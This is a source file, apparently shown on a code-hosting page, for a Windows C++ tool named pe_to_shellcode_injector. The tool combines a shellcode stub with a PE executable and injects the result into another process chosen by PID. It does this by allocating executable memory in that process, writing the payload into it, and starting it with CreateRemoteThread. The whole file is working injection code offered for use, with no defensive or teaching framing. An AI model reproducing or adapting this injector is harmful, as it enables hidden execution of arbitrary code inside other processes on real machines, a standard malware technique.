-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathpe_to_shellcode_injector.cpp
159 lines (146 loc) · 3.4 KB
/
pe_to_shellcode_injector.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#include "Utils/Utils.h"
INT main(INT argc, CHAR** argv) {
if (argc > 3)
{
LPCSTR szPeFile = argv[1];
LPCSTR szStubFile = argv[2];
DWORD dwPid = atoi(argv[3]);
HANDLE hStubFile = NULL;
if (!(hStubFile = CreateFileA(
szStubFile,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
)) || INVALID_HANDLE_VALUE == hStubFile)
{
ReportApiError("CreateFileA", "cannot open the supplied stub file");
return FALSE;
};
HANDLE hExeFile = NULL;
if (!(hExeFile = CreateFileA(
szPeFile,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
)) || INVALID_HANDLE_VALUE == hExeFile)
{
ReportApiError("CreateFileA", "cannot open the supplied exe file");
return FALSE;
};
LARGE_INTEGER u32StubSize;
if (!GetFileSizeEx(
hStubFile,
&u32StubSize
))
{
ReportApiError("GetFileSizeEx", "cannot get the size of the supplied stub file");
return FALSE;
};
LARGE_INTEGER u32ExeSize;
if (!GetFileSizeEx(
hExeFile,
&u32ExeSize
))
{
ReportApiError("GetFileSizeEx", "cannot get the size of the supplied exe file");
return FALSE;
};
LPVOID lpShellcode = NULL;
if (!(lpShellcode = VirtualAlloc(
NULL,
(SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart),
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE
)))
{
ReportApiError("VirtualAlloc", "cannot allocate memory for the shellcode");
return FALSE;
};
DWORD dwReadBytes = 0;
if (!ReadFile(
hStubFile,
lpShellcode,
(DWORD)u32StubSize.QuadPart,
&dwReadBytes,
NULL
) || dwReadBytes != u32StubSize.QuadPart)
{
ReportApiError("ReadFile", "cannot read the stub file");
return FALSE;
};
if (!ReadFile(
hExeFile,
#if defined(_M_X64) || defined(__amd64__)
(LPVOID)((ULONGLONG)lpShellcode + dwReadBytes),
#else
(LPVOID)((ULONGLONG)lpShellcode + dwReadBytes),
#endif
(DWORD)u32ExeSize.QuadPart,
&dwReadBytes,
NULL
) || dwReadBytes != u32ExeSize.QuadPart)
{
ReportApiError("ReadFile", "cannot read the exe file");
return FALSE;
};
HANDLE hProcess = NULL;
if (!(hProcess = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
dwPid
)))
{
ReportApiError("OpenProcess", "cannot open the target pid");
return FALSE;
};
LPVOID lpAllocatedBase = NULL;
if (!(lpAllocatedBase = VirtualAllocEx(
hProcess,
NULL,
(SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart),
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE
)))
{
ReportApiError("VirtualAllocEx", "cannot allocate at the remote process for the shellcode");
return FALSE;
};
SIZE_T stWrittenBytes = 0;
if (!WriteProcessMemory(
hProcess,
lpAllocatedBase,
lpShellcode,
(SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart),
&stWrittenBytes
) || stWrittenBytes != u32StubSize.QuadPart + u32ExeSize.QuadPart)
{
ReportApiError("WriteProcessMemory", "cannot write at the remote process");
return FALSE;
};
if (!CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)lpAllocatedBase,
NULL,
0,
NULL
))
{
ReportApiError("CreateRemoteThread", "cannot create a new thread at the remote process");
return FALSE;
};
CloseHandle(hProcess);
}
else
{
printf("%s [exe] [stub] [pid]\n", argv[0]);
}
return TRUE;
}